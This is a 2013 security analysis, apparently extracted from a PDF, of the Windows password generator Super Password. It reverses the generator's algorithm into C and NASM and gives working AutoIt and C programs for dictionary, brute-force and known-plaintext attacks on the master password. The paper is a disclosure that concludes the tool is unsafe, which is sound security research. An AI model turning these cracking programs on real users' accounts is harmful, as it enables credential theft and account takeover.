Analysis of Super Password 1.

0
Bart Leppens Anthony Piron February 2013

1

What is Super Password

Super Password is a MS Windows application, written in 2000 by Yan QiQi, last updated September 2nd, 2010. The application lives as an icon in the system tray bar. It tries to fix the problem that we need to remember different passwords for every account we create. It takes an account name and a master password as an input and then, when the ”generate” button is pushed, some magic happens. A unique password of 12 characters is generated. Everytime you provide this master password in combination with an account name, the application can regenerate the same password again and again.

The helpfile of the application states: ”You needn’t worry about the security. The COA algorithm Super Password uses to generate account passwords is very very complex and strong. No one can break it.” Let’s see if that’s true.

2
2.1

Blackbox Analysis
Blackbox characteristics

Super Password has some weird behavior and some strange characteristics. The resulting password is not affected by: • providing the master password in uppercase or in lowercase. • providing the account name in uppercase or in lowercase. • adding special characters (like ´,@, c, ... ) to the master password. e ¸ • adding special characters to the provided account.. . . The range of allowed characters is thus limited to a-z0-9. The resulting password always exists of 12 characters which are limited by this same range: a-z0-9. Theoretically, the super password must 1

consist of at least 4 characters and the account name must consist of at least 3 characters. This limitation only counts for the GUI, since if there are all special characters, this statement is wrong and there can even be no master password at all (e.g. @&|$). There doesn’t seem to be a limit to the maximum length. But the more characters provided, the longer it seems to take to calculate the password.

2.2

Blackbox attacking

Suppose we have the credentials of one of the accounts (accountname and corresponding password). Then we can try to bruteforce the master password or we can use a wordlist and test if the master password is on the list. One way of doing this is with a scripting language called AutoIt. The following scripts are written for AutoIt v3. WinWaitActive ( ” Super Password 1 . 0 ” ) ;We s e a r c h t h e master password which g i v e s ” b 3 d a e u 6 z l c l 4 ” ; f o r a c c o u n t name ” myaccount ” $capturedpassword = ” b3daeu6zlcl4 ” $accountname = ” myaccount ” C o n t r o l S e t T e x t ( ” Super Password 1 . 0 ” , ” ” , ” [ CLASS : TEdit ; INSTANCE : 3 ] ” , ” myaccount ” ) L o c a l $ f i l e = FileOpen ( ” w o r d l i s t . l s t ” , 0 ) I f $ f i l e = −1 Then MsgBox ( 0 , ” E r r o r ” , ” Unable t o open f i l e ” ) Exit EndIf While 1 Local $ l i n e = FileReadLine ( $ f i l e ) I f @e rr or = −1 Then ExitLoop C o n t r o l S e t T e x t ( ” Super Password 1 . 0 ” , ” ” , ” [ CLASS : TEdit ; INSTANCE : 4 ] ” , $ l i n e ) C o n t r o l C l i c k ( ” Super Password 1 . 0 ” , ” ” , ” [ CLASS : TButton ; INSTANCE : 1 ] ” ) $a = ControlGetText ( ” Super Password 1 . 0 ” , ” ” , ” [ CLASS : TEdit ; INSTANCE : 2 ] ” ) I f $a == $ c a p t u r e d p a s s w o r d Then While ( True ) MsgBox ( 0 , ” ” , $ l i n e , 1 ) sleep (1000) WEnd Exit EndIf WEnd This way we were able to test +-4000 of passwords per minute on a AMD Turion 64 X2 Mobile 1.8GHz system. When performing a brute force attack on the master password we can use the following algorithm: WinWaitActive ( ” Super Password 1 . 0 ” ) ;We s e a r c h t h e master password which g i v e s ”5 x l 2 s d c 0 i d f 9 ” ; f o r a c c o u n t name ” myaccount ” $ c a p t u r e d p a s s w o r d = ”5 x l 2 s d c 0 i d f 9 ” 2

$accountname = ” myaccount ” C o n t r o l S e t T e x t ( ” Super Password 1 . 0 ” , ” ” , ” [ CLASS : TEdit ; INSTANCE : 3 ] ” , $accountname ) $ S t r i n g = ”a , b , c , d , e , f , g , h , i , j , k , l ,m, n , o , p , q , r , s , t , u , v , w, x , y , z ” & ” ,0 ,1 ,2 ,3 ,4 ,5 ,6 ,7 ,8 ,9” $String = S t r i n g S p l i t ( $String , ” ,”) For $ i = 1 To $ S t r i n g [ 0 ] Step +1 For $ i 1 = 1 To $ S t r i n g [ 0 ] Step +1 For $ i 2 = 1 To $ S t r i n g [ 0 ] Step +1 For $ i 3 = 1 To $ S t r i n g [ 0 ] Step +1 $1 = $ S t r i n g [ $ i ] & $ S t r i n g [ $ i 1 ] & $ S t r i n g [ $ i 2 ] & $ S t r i n g [ $ i 3 ] C o n t r o l S e t T e x t ( ” Super Password 1 . 0 ” , ” ” , ” [ CLASS : TEdit ; INSTANCE : 4 ] ” , $1 ) C o n t r o l C l i c k ( ” Super Password 1 . 0 ” , ” ” , ” [ CLASS : TButton ; INSTANCE : 1 ] ” ) $a = ControlGetText ( ” Super Password 1 . 0 ” , ” ” , ” [ CLASS : TEdit ; INSTANCE : 2 ] ” ) I f $a == $ c a p t u r e d p a s s w o r d Then While ( True ) MsgBox ( 0 , ” ” , $1 , 1 ) sleep (1000) WEnd Exit EndIf Next Next Next Next With only 4000 keys a minute breaking a only 4 character password would take us almost 7 hours: 364 ( 4000∗60 ).

3
3.1

Whitebox Analysis
Modifying the original binary

When looking at the application with a debugger, we can see that there are some interesting addresses: • 0x004022AA: calls the start of password generation which is located at 0x0040179C • 0x00402474 → 0x0040264B: the applications help function

3

It is clear that we can easily replace the applications help function with our own assembly, we have 471 bytes of space. So basically, we can add our own custom brute force code and start the attack with a push on the help button. We are not sharing this code here, since we retook a part of the original super password assembly and this might infringe copyright violations. It takes now about 2 minutes to brute force a 4 character super password on a AMD Turion 64 X2 Mobile 1.8GHz system. That are 14000 keys a second. Multiple binaries can be generated which contain part of the workload. So, if multiple processes can be started which can speed up e.g. on a 12 core system, it will only take seconds to test the same 4 character sequence. But the time needed to brute force is multiplied by 36 everytime you add an additional character to super password.

3.2
3.2.1

Reversing the algorithm
The algorithm in C

When looking at super passwords address 0x0040179C and following the assembly further down, we can deduce the algorithm. First there is the conversion from uppercase to lowercase. We can see that special characters are simply skipped. The algorithm first takes every character of the provided super password in account and then it proceeds with every character of the provided account name. Then the algorithm does a modulo 36 of the result, which is then translated back into an ascii character of range a-z0-9. This translation is in fact a simple transition. For every of the 12 resulting charcters this sequence is repeated, but every time the index of the resulting character is taken into account in the calculations. Provided with only valid characters (a-z0-9), we can translate the algorithm to this C99 implementation: #i n c l u d e <s t d i o . h> #i n c l u d e <s t d i n t . h> double borlandsin ( double angle ) ; double borlandcos ( double angle ) ;

4

i n t C a l c u l a t e L e t t e r ( c h a r ∗ the superpwd , c h a r ∗ the username , i n t t h e i n d e x ) { uint32 t result = 0; double d = 0 . 0 ; // f o r each c h a r a c t e r o f t h e master password f o r ( c h a r ∗ p t r = the superpwd ; ∗ p t r ; p t r++) { char a = ∗ ptr ; // m u l t i p l y t h e a s c i i code o f t h e c h a r a c t e r with 654321 // and add t o t h e r e s u l t r e s u l t += ( u i n t 3 2 t ) a ∗ 6 5 4 3 2 1 ; // c a l c u l a t e a c o n s i n e o f t h e r e s u l t and m u l t i p l y with / / ( t h e i n d e x o f t h e r e s u l t i n g c h a r a c t e r ∗ 123456 + 9 8 7 6 5 4 3 2 1 ) d = b o r l a n d c o s ( r e s u l t ) ∗ ( t h e i n d e x ∗ 123456 + 9 8 7 6 5 4 3 2 1 ) ; // c a s t back t o 32− b i t u n s i g n e d i n t e g e r v a l u e // t h i s i s t h e new v a l u e f o r r e s u l t result = ( uint32 t ) d; } // f o r each c h a r a c t e r o f t h e username f o r ( c h a r ∗ p t r = t h e u s e r n a m e ; ∗ p t r ; p t r++) { char a = ∗ ptr ; // m u l t i p l y t h e t h e a s c i i code o f t h e c h a r a c t e r with 123456 // and add t o t h e r e s u l t r e s u l t += ( u i n t 3 2 t ) a ∗ 1 2 3 4 5 6 ; // c a l c u l a t e a s i n e o f t h e r e s u l t and m u l t i p l y with / / ( t h e i n d e x o f t h e r e s u l t i n g c h a r a c t e r ∗ 654321 + 1 2 3 4 5 6 7 8 9 ) d = b o r l a n d s i n ( r e s u l t ) ∗ ( t h e i n d e x ∗ 654321 + 1 2 3 4 5 6 7 8 9 ) ; // c a s t back t o 32− b i t u n s i g n e d i n t e g e r v a l u e // t h i s i s t h e new v a l u e f o r r e s u l t result = ( uint32 t ) d; } i n t r e s c h a r = r e s u l t % 3 6 ; // r e s u l t modulo 36 i f ( r e s c h a r < 10) { r e s c h a r += 4 8 ; // c o n v e r t back t o a s c i i c h a r a c t e r 0 . . 9 } else { r e s c h a r += 8 7 ; // c o n v e r t back t o a s c i i c h a r a c t e r a . . z } r e t u r n r e s c h a r ; // a s c i i c h a r a c t e r i n r a n g e o f 0−9a−z } i n t main ( ) { c h a r superpwd [ ] = ” y a n q i q i ” ; c h a r username [ ] = ” y a n q i q i ” ; int letter = 0;

// t h e master password // t h e username

// g e n e r a t e and p r i n t a l l 12 c h a r a c t e r s f o r t h e c o r r e s p o n d i n g password f o r ( i n t i =0; i <12; i ++){ l e t t e r = C a l c u l a t e L e t t e r ( superpwd , username , i ) ; p r i n t f (”%c ” , l e t t e r ) ; } p r i n t f (”\n ” ) ; return 0;

5

} 3.2.2 Reflections on the algorithm

The algorithm calculates the resulting 12 characters one at a time. So when the first calculated character does not correspond with the desired result, we can already proceed to the next candidate (in both cases of brute forcing and dictionary attack). The first part, that processes the provided super password can be precalculated for all 12 the characters (=indexes). The second part that uses the username, we can calculate for each of the 12 characters (=indexes) all possible constants, that gives us the resulting letter. The algorithm uses 32-bit unsigned integers in its calculation. These integers are multiplied by sines and cosines. Super password was compiled with Borland Delphi 4.1. Delphi makes use of x87 FPU for the calculations of these sines and cosines. But the instructions fsin and fcos are not used to generate the sines and cosines. The returned value is specific for the Borland implementation, it contains a certain imprecision. Since the resulting sines and cosines are mulitplied with large uint32 t values (unsigned dwords), the result cannot be simulated using a library like < math.h >. Assume a cosine of 4242011732 that gives a value of 0.3186359445366380254 in Delphi and a value of 0.3186359446060212374 with < math.h > and with the fcos instruction. When you multiply for example 987777777 with these values, the values after casting back to uint32 t differ. The casting of 314741504,966 results in 314741504 (Delphi) but the casting of 314741505,0352 results in 314741505 (fcos). Augmenting the accurracy does not help us here, super password relies on the Borland implementation of cosine and sine. This makes that the algorithm is not portable. 3.2.3 The Borland sine and cosine with Nasm

We have written a small Delphi program and extracted the assembly. We used the addresses of ”super password” as labels to help matching with the original executable binary. s e c t i o n . data ; PI d i v i d e d by 4 piBy4 : DB 0 x35 , 0 xC2 , 0 x68 , 0 x21 , 0 xA2 , 0xDA, 0 x0F , 0 xC9 , 0 x f e , 0 x3f , 0 x35 , 0xC2 nan : DD 0x0FFC04200 section . text global borlandsin global borlandcos borlandsin : PUSH MOV FINIT FLD MOV JMP borlandcos : PUSH MOV FINIT FLD MOV spw00434516 : FXAM SUB WAIT FSTSW WAIT

EBP EBP, ESP QWORD [EBP+8] CL, 0 spw00434516 EBP EBP, ESP QWORD [EBP+8] CL, 2

ESP, 4 WORD [ ESP ]

6

MOV SAHF JC JNZ JMP spw00434534 : JZ JNP FSTP FLD FTST spw00434542 : JMP spw00434544 : FCOMPP FLD FTST spw0043454E : JMP spw00434553 : FABS FLD FXAM FXCH FPREM MOV AND SHR FSTSW WAIT MOV SAHF JP MOV AND SHL SHL RCL ADD RCL CMP JNE ADD MOV spw0043458A : AND TEST JZ FSUB JMP spw00434594 : FSTP spw00434596 :

AH,BYTE [ ESP+1] spw00434534 spw00434553 spw0043454E spw00434542 spw00434542 ST0 DWORD[ nan ]

spw0043454E

DWORD[ nan ]

spw004345EA

TWORD[ piBy4 ]

CH, 2 CH, AH CH, 1 WORD[ ESP ] AH, BYTE[ ESP+1] spw00434544 AL, 3 AL, AH AH, 1 AH, 1 AL, 1 AL, 0FCh AL, 1 CL, 2 spw0043458A AL, CL CH, 0 AL, 7 AL, 1 spw00434594 spw00434596 ST1

7

FPTAN TEST AL, 3 JPE spw004345A3 FXCH spw004345A3 : FLD ST1 FMUL ST0 , ST0 FXCH FMUL ST0 , ST0 FADD FSQRT SHR AL, 1 SHR AL, 1 XOR AL, CH JZ spw004345B9 FCHS spw004345B9 : FDIV JMP spw004345EA spw004345EA : ADD ESP , 4 LEAVE RETN Built with NASM version 2.10.06 on Windows XP: nasm −f win32 b o r l a n d s i n c o s . nasm −o b o r l a n d s i n c o s . o b j And then compiled the c code and linked with gcc version 3.4.5 on Windows XP (MinGW) g c c spw . c b o r l a n d s i n c o s . o b j −s t d=c99 −o spw . exe An alternative method that can be used are lookup tables. In double precision, each sine or cosine takes up exactly 8 bytes. So 32 GB (=232 ∗ 8 bytes) for all possible sines and another 32 GB for all posible cosines. In this way no FPU-calculations are needed.

3.3
3.3.1

Attack on the reversed alogithm
Known-plaintext attack with multiple samples

When the attacker has +-6 combinations of account names and the corresponding password, we can create some constants for each index that will replace the master password. Consider the following master password ”zfghijklooz57o8zzzvbfaaqdiu6875433” and the corresponding pairs of generated accountname and password (”azerty”,”bqzlxi4hwwrl”), (”abc”,”0rrlo5tglzvg”), (”mail”,”9m0u7ua78k3q”), (”webshop”,”odtp5udarw66”), (”yanqiqi”,”y3te20uwsl2u”), (”intranet”,”8wb4dyrwh2h8”). We can calculate the constants for each index with the folling C99 implementation: #i n c l u d e <s t d i o . h> #i n c l u d e <s t d i n t . h> double borlandsin ( double angle ) ; u i n t 6 4 t h i t = 0 , miss = 0 ; // c r e a t e c a c h i n g f o r s i n e c a l c u l a t i o n #d e f i n e SIN SIZE ( 1 << 2 6 ) struct { uint32 t x ; 8

double s i n ; } h s i n [ SIN SIZE ] ; static inline double mysin ( u i n t 3 2 t x ) { u i n t 3 2 t h = x % SIN SIZE ; i f ( h s i n [ h ] . x == x ) // v e r i f y i f s i n e i n c a c h e i s s i n e f o r v a l u e x return hsin [ h ] . sin ; // e l s e c a l c u l a t e s i n e f o r v a l u e x and p l a c e i n c a c h e hsin [ h ] . x = x ; hsin [ h ] . sin = borlandsin (x ) ; return hsin [ h ] . sin ; }

static inline int C a l c u l a t e L e t t e r ( u i n t 3 2 t c s t , c h a r ∗ the username , i n t t h e i n d e x ) { uint32 t result = cst ; double d = 0 . 0 ; // f o r each c h a r a c t e r o f t h e username f o r ( c h a r ∗ p t r = t h e u s e r n a m e ; ∗ p t r ; p t r++) { char a = ∗ ptr ; // m u l t i p l y t h e t h e a s c i i code o f t h e c h a r a c t e r with 123456 // and add t o t h e r e s u l t r e s u l t += ( u i n t 3 2 t ) a ∗ 1 2 3 4 5 6 ; // c a l c u l a t e a s i n e o f t h e r e s u l t and m u l t i p l y with / / ( t h e i n d e x o f t h e r e s u l t i n g c h a r a c t e r ∗ 654321 + 1 2 3 4 5 6 7 8 9 ) d = mysin ( r e s u l t ) ∗ ( t h e i n d e x ∗ 654321 + 1 2 3 4 5 6 7 8 9 ) ; // c a s t back t o 32− b i t u n s i g n e d i n t e g e r v a l u e // t h i s i s t h e new v a l u e f o r r e s u l t result = ( uint32 t ) d; } i n t r e s c h a r = r e s u l t % 3 6 ; // r e s u l t modulo 36 i f ( r e s c h a r < 10) { r e s c h a r += 4 8 ; // c o n v e r t back t o a s c i i c h a r a c t e r 0 . . 9 } else { r e s c h a r += 8 7 ; // c o n v e r t back t o a s c i i c h a r a c t e r a . . z } r e t u r n r e s c h a r ; // a s c i i c h a r a c t e r i n r a n g e o f 0−9a−z } uint32 t searchCst ( char ∗ c l t l o g [ ] , char ∗ clt pwd [ ] , u i n t 3 2 t from , u i n t 3 2 t to , i n t i n d e x ) { u i n t 3 2 t i = from ;

9

while (1) { c h a r ∗∗ p l = c l t l o g ; c h a r ∗∗pd = c l t p w d ; i n t found = 1 ; f o r ( ; ∗ p l ; p l ++, pd++) { i n t l e t t e r = C a l c u l a t e L e t t e r ( i , ∗ pl , i n d e x ) ; // i f f o r one o f t h e p r o v i d e d usernamse t h e c a l c u l a t e d c h a r a c t e r // d o e s not c o r r e s p o n d with t h e p r o v i d e d c h a r a c t e r o f t h e password //we can break and p r o c e e d with v e r i f y i n g next c o n s t a n t c a n d i d a t e i f ( ( ∗ pd ) [ i n d e x ] != l e t t e r ) { found = 0 ; break ; } } i f ( found ) { p r i n t f ( ” Res : %u\n ” , i ) ; } i f ( i % 0xFFFFFFFul == 0 ) p r i n t f ( ” I : %08x\n ” , i ) ; i f ( i++ == t o ) break ; } return 0; } /∗ (” azerty ” ,” bqzlxi4hwwrl ”) , ( ” abc ” , ” 0 r r l o 5 t g l z v g ” ) , ( ” m a i l ” , ” 9 m0u7ua78k3q ” ) , ( ” webshop ” , ” odtp5udarw66 ” ) , (” yanqiqi ” ,” y3te20uwsl2u ”) , ( ” i n t r a n e t ” , ” 8 wb4dyrwh2h8 ” ) ∗/ i n t main ( ) { // l i s t with a l l known l o g i n s // and a l i s t with a l l c o r r e s p o n d i n g passw ords c h a r ∗ c l t l o g [ ] = {” a z e r t y ” , ” abc ” , ” m a i l ” , ” webshop ” , ” y a n q i q i ” , ” i n t r a n e t ” , NULL} ; c h a r ∗ c l t p w d [ ] = {” b q z l x i 4 h w w r l ” , ”0 r r l o 5 t g l z v g ” , ”9 m0u7ua78k3q ” , ” odtp5udarw66 ” , ” y 3 t e 2 0 u w s l 2 u ” , ”8 wb4dyrwh2h8 ” , NULL} ; // c l e a r t h e c a c h e f o r ( u i n t 3 2 t i = 0 ; i < SIN SIZE ; i ++) { hsin [ i ] . x = 0; hsin [ i ] . sin = 0; } // parameter1 : l i s t o f known l o g i n s

// c a n d i d a t e c o n s t a n t f o r ” i n d e x ” found

// d i s p l a y some p r o g r e s s

// i n c r e m e n t i t i l l maximum v a l u e (= t o )

10

// parameter2 : l i s t o f c o r r e s p o n d i n g passw ords // parameter3 : s t a r t o f r a n g e i n which t o s e a r c h c o n s t a n t s // parameter4 : end o f r a n g e i n which t o s e a r c h c o n s t a n t s // parameter5 : s e a r c h c o n s t a n t s f o r i n d e x ( 0 . . 1 1 ) s e a r c h C s t ( c l t l o g , cl t pw d , 0 x0ul , 0xFFFFFFFFul , 1 0 ) ; return 0; } For each index that gives us following constants: • index0: 155016602, 573820617, 985378604, 2704508381, 3123312396, 3534870383 • index1: 1047828493, 3597320272 • index2: 1100035586, 3649527365 • index3: 1553765556, 4053351770, 4103257335 • index4: 289936959, 701494946, 1113052933, 1524610920, 2839428738, 3250986725, 3662544712, 4074102699 • index5: 851594859, 1263152846, 1674710833, 2086268820 • index6: 833806284, 1245364271, 1710109732, 3383298063, 3794856050, 4259601511 • index7: 28064626, 774212545, 1157763239, 1185770532, 1754440431, 2165998418, 2577556405, 3323704324, 3735262311 • index8: 757253385, 1168811372, 2973540570, 3306745164, 3718303151 • index9: 856489889, 3405981668 • index10: 557930578, 969488565, 3107422357, 3518980344 • index11: 184071555, 595629542, 880689466, 1292247453, 1703805440, 1910447360, 2322005347, 2733563334, 3145121321, 3430181245, 3841739232, 4253297219 For accountname ”administrator” that results in the following characters: • index0: g, t, t, g, t, t • index1: 4, 4 • index2: w, w • index3: g, 5, g • index4: o, o, o, o, o, o, o, o • index5: x, x, x, x • index6: w, w, g, w, w, g • index7: u, h, j, h, u, u, u, h, h • index8: 9, 9, 1, 9, 9 • index9: n, n • index10: y, y, y, y • index11: n, n, l, l, l, n, n, n, n, l, l, l 11

The space in which we need to search the password is heavily reduced. For username ”administrator”, the list of possible passwords using provided indexes is limited to only 96 possible passwords: g4wgoxwu9nyn , g4wgoxwh9nyl , g4wgoxwj1nyn , g4wgoxgu1nyl , g4wgoxgj9nyn , g4w5oxwu9nyl , g4w5oxwh1nyn , g4w5oxwj1nyl , g4w5oxgh9nyn , g4w5oxgj9nyl , t4wgoxwu1nyn , t4wgoxwh1nyl , t4wgoxgu9nyn , t4wgoxgh9nyl , t4wgoxgj1nyn , t4w5oxwu1nyl , t4w5oxwj9nyn , t4w5oxgu9nyl , t4w5oxgh1nyn , t4w5oxgj1nyl g4wgoxwu9nyl , g4wgoxwh1nyn , g4wgoxwj1nyl , g4wgoxgh9nyn , g4wgoxgj9nyl , g4w5oxwu1nyn , g4w5oxwh1nyl , g4w5oxgu9nyn , g4w5oxgh9nyl , g4w5oxgj1nyn , t4wgoxwu1nyl , t4wgoxwj9nyn , t4wgoxgu9nyl , t4wgoxgh1nyn , t4 wg o xg j1 n yl , t4w5oxwh9nyn , t4w5oxwj9nyl , t4w5oxgu1nyn , t4w5oxgh1nyl , g4wgoxwu1nyn , g4wgoxwh1nyl , g4wgoxgu9nyn , g4wgoxgh9nyl , g4wgoxgj1nyn , g4w5oxwu1nyl , g4w5oxwj9nyn , g4w5oxgu9nyl , g4w5oxgh1nyn , g4w5oxgj1nyl , t4wgoxwh9nyn , t4wgoxwj9nyl , t4wgoxgu1nyn , t4wgoxgh1nyl , t4w5oxwu9nyn , t4w5oxwh9nyl , t4w5oxwj1nyn , t4w5oxgu1nyl , t4w5oxgj9nyn , g4wgoxwu1nyl , g4wgoxwj9nyn , g4wgoxgu9nyl , g4wgoxgh1nyn , g4wgoxgj1nyl , g4w5oxwh9nyn , g4w5oxwj9nyl , g4w5oxgu1nyn , g4w5oxgh1nyl , t4wgoxwu9nyn , t4wgoxwh9nyl , t4wgoxwj1nyn , t4wgoxgu1nyl , t4wgoxgj9nyn , t4w5oxwu9nyl , t4w5oxwh1nyn , t4w5oxwj1nyl , t4w5oxgh9nyn , t4 w 5o x gj 9n yl , g4wgoxwh9nyn , g4wgoxwj9nyl , g4wgoxgu1nyn , g4wgoxgh1nyl , g4w5oxwu9nyn , g4w5oxwh9nyl , g4w5oxwj1nyn , g4w5oxgu1nyl , g4w5oxgj9nyn , t4wgoxwu9nyl , t4wgoxwh1nyn , t4wgoxwj1nyl , t4wgoxgh9nyn , t4 wg o xg j9 n yl , t4w5oxwu1nyn , t4w5oxwh1nyl , t4w5oxgu9nyn , t4w5oxgh9nyl , t4w5oxgj1nyn ,

The more combinations of usernames/passwords are given, the less possible constants are found and so, the more the list of possible master passwords will be reduced. 3.3.2 Brute force attack of the master password

Now that we have seen the algorithm of super password, we are not sure that there won’t be any collisions. So we can search for a ”candidate” master password. Assume the following C99 implementation: #i n c l u d e <s t d i o . h> #i n c l u d e <s t d i n t . h> #i n c l u d e <time . h>

double borlandsin ( double angle ) ; double borlandcos ( double angle ) ; // c r e a t e c a c h i n g f o r s i n e c a l c u l a t i o n #d e f i n e SIN SIZE ( 1 << 2 3 ) struct { uint32 t x ; double s i n ; } h s i n [ SIN SIZE ] ; static inline double mysin ( u i n t 3 2 t x ) { u i n t 3 2 t h = x % SIN SIZE ; i f ( h s i n [ h ] . x == x ) // v e r i f y i f s i n e i n c a c h e i s s i n e f o r v a l u e x return hsin [ h ] . sin ; 12

// e l s e c a l c u l a t e s i n e f o r v a l u e x and p l a c e i n c a c h e hsin [ h ] . x = x ; hsin [ h ] . sin = borlandsin (x ) ; return hsin [ h ] . sin ; } // c r e a t e c a c h i n g f o r c o s i n e c a l c u l a t i o n #d e f i n e COS SIZE ( 1 << 2 3 ) struct { uint32 t x ; double cos ; } h c o s [ COS SIZE ] ; static inline double mycos ( u i n t 3 2 t x ) { u i n t 3 2 t h = x % COS SIZE ; i f ( h c o s [ h ] . x == x ) // v e r i f y i f c o s i n e i n c a c h e i s c o s i n e f o r v a l u e x return hcos [ h ] . cos ; // e l s e c a l c u l a t e s i n e f o r v a l u e x and p l a c e i n c a c h e hcos [ h ] . x = x ; hcos [ h ] . cos = borlandcos ( x ) ; return hcos [ h ] . cos ; } static inline int C a l c u l a t e L e t t e r ( c h a r ∗ t h e s u p e r p a s s w o r d , c h a r ∗ the username , i n t t h e i n d e x ) { uint32 t result = 0; double d = 0 . 0 ; // f o r each c h a r a c t e r o f t h e master password f o r ( c h a r ∗ p t r = t h e s u p e r p a s s w o r d ; ∗ p t r ; p t r++) { char a = ∗ ptr ; // m u l t i p l y t h e a s c i i code o f t h e c h a r a c t e r with 654321 // and add t o t h e r e s u l t r e s u l t += ( u i n t 3 2 t ) a ∗ 6 5 4 3 2 1 ; // c a l c u l a t e a c o n s i n e o f t h e r e s u l t and m u l t i p l y with / / ( t h e i n d e x o f t h e r e s u l t i n g c h a r a c t e r ∗ 123456 + 9 8 7 6 5 4 3 2 1 ) d = mycos ( r e s u l t ) ∗ ( t h e i n d e x ∗ 123456 + 9 8 7 6 5 4 3 2 1 ) ; // c a s t back t o 32− b i t u n s i g n e d i n t e g e r v a l u e // t h i s i s t h e new v a l u e f o r r e s u l t result = ( uint32 t ) d; } // f o r each c h a r a c t e r o f t h e username f o r ( c h a r ∗ p t r = t h e u s e r n a m e ; ∗ p t r ; p t r++) { char a = ∗ ptr ; // m u l t i p l y t h e t h e a s c i i code o f t h e c h a r a c t e r with 123456

13

// and add t o t h e r e s u l t r e s u l t += ( u i n t 3 2 t ) a ∗ 1 2 3 4 5 6 ; // c a l c u l a t e a s i n e o f t h e r e s u l t and m u l t i p l y with / / ( t h e i n d e x o f t h e r e s u l t i n g c h a r a c t e r ∗ 654321 + 1 2 3 4 5 6 7 8 9 ) d = mysin ( r e s u l t ) ∗ ( t h e i n d e x ∗ 654321 + 1 2 3 4 5 6 7 8 9 ) ; // c a s t back t o 32− b i t u n s i g n e d i n t e g e r v a l u e // t h i s i s t h e new v a l u e f o r r e s u l t result = ( uint32 t ) d; } i n t r e s c h a r = r e s u l t % 3 6 ; // r e s u l t modulo 36 i f ( r e s c h a r < 10) { r e s c h a r += 4 8 ; // c o n v e r t back t o a s c i i c h a r a c t e r 0 . . 9 } else { r e s c h a r += 8 7 ; // c o n v e r t back t o a s c i i c h a r a c t e r a . . z } r e t u r n r e s c h a r ; // a s c i i c h a r a c t e r i n r a n g e o f 0−9a−z }

i n t main ( ) { char ∗ c l t l o g = ” a d mi n i st r a to r ” ; c h a r ∗ c l t p w d = ” t4w5oxwh9nyl ” ; // c l e a r t h e c a c h e f o r ( u i n t 3 2 t i = 0 ; i < SIN SIZE ; i ++) { hsin [ i ] . x = 0; hsin [ i ] . sin = 0; } f o r ( u i n t 3 2 t i = 0 ; i < COS SIZE ; i ++) { hcos [ i ] . x = 0 ; hcos [ i ] . cos = 0 ; } #d e f i n e MAX DEPTH 4 // depth o f password t o s e a r c h f o r c h a r spw [MAX DEPTH+ 2 ] ; f o r ( i n t i= 0 ; i <MAX DEPTH+2; i ++){ spw [ i ] = 0 ; } i n t depth = 0 ; int charres = 0; d o u b l e e l a p s e d ; // i n m i l l i s e c o n d s c l o c k t s t a r t , end ; start = clock ( ) ; // some s i m p l e b r u t e f o r c e a l g o r i t h m w h i l e ( depth < MAX DEPTH+1){ depth = 0 ;

14

w h i l e ( spw [ depth ] == 1 2 2 ) depth++; i f ( spw [ depth ]==57){ spw [ depth ] = 9 7 ; } e l s e i f ( spw [ depth ] <48){ spw [ depth ] = 4 8 ; } else { spw [ depth ]++; } i n t h = depth ; w h i l e ( h>0){ spw [ h−1] = 4 8 ; h−−; } i f ( depth > 4 ) { // show some p r o g r e s s f o r ( c h a r ∗ p t r = spw ; ∗ p t r ; p t r ++){ char a = ∗ ptr ; p r i n t f (”%c ” , a ) ; } p r i n t f (”\n ” ) ; } f o r ( i n t i =0; i < 1 2 ; i ++){ c h a r r e s = C a l c u l a t e L e t t e r ( spw , c l t l o g , i ) ; // s k i p t o next i f not e x p e c t e d r e s u l t i f ( c h a r r e s != c l t p w d [ i ] ) break ; i f ( i == 1 1 ) { p r i n t f ( ” found \n ” ) ; f o r ( c h a r ∗ p t r = spw ; ∗ p t r ; p t r ++){ char a = ∗ ptr ; p r i n t f (”%c ” , a ) ; } p r i n t f (”\n ” ) ; } } depth++; } end = c l o c k ( ) ; e l a p s e d = ( ( d o u b l e ) ( end − s t a r t ) ) / CLOCKS PER SEC ; p r i n t f ( ” time : %f s e c o n d s \n ” , e l a p s e d ) ; return 0; } Some of the calculated sines and cosines are cached in memory. It now takes about 15 seconds to brute force a 4 character super password on a AMD Turion 64 X2 Mobile 1.8GHz system using only one thread. That are more then 110.000 keys per second.

15

3.3.3

Optimisations of brute force attack

Multiple optimisations are possible. For each index, all possible constants can be precalculated, which would avoid calculations with the account name when performing brute force or dictionary attacks (this can replace the second part of the COA algorithm). For each master password we want to test, we can (pre-)generate the constant for each of the 12 indexes. Then we can check if these constants correspond with the possible pr´calculated constants. If they correspond with all 12 indexes, we e have a candidate for the original super password. The calculation of these constants for each master password could be distributed. Lookup tables which contains the constants for master passwords could be shared.

4

Conclusion

The COA algorithm is at least vunerable to known plain text attack. Super password can be easily attacked with dictionaries either. Brute forcing is also a problem for super password since for each plaintext master password, the corresponding constants can be precalculated and this for each of the 12 indexes. When distibuting the effort, lookup tables for very long master passwords could be generated and thus super password is never a safe option. We heavily recommend not to use this piece of software anymore.

5

References
• http://www.softpedia.com/get/Security/Password-Managers-Generators/Super-Password.shtml • http://www.nasm.us/ • http://www.ollydbg.de/

16

Sign up to vote on this title
UsefulNot useful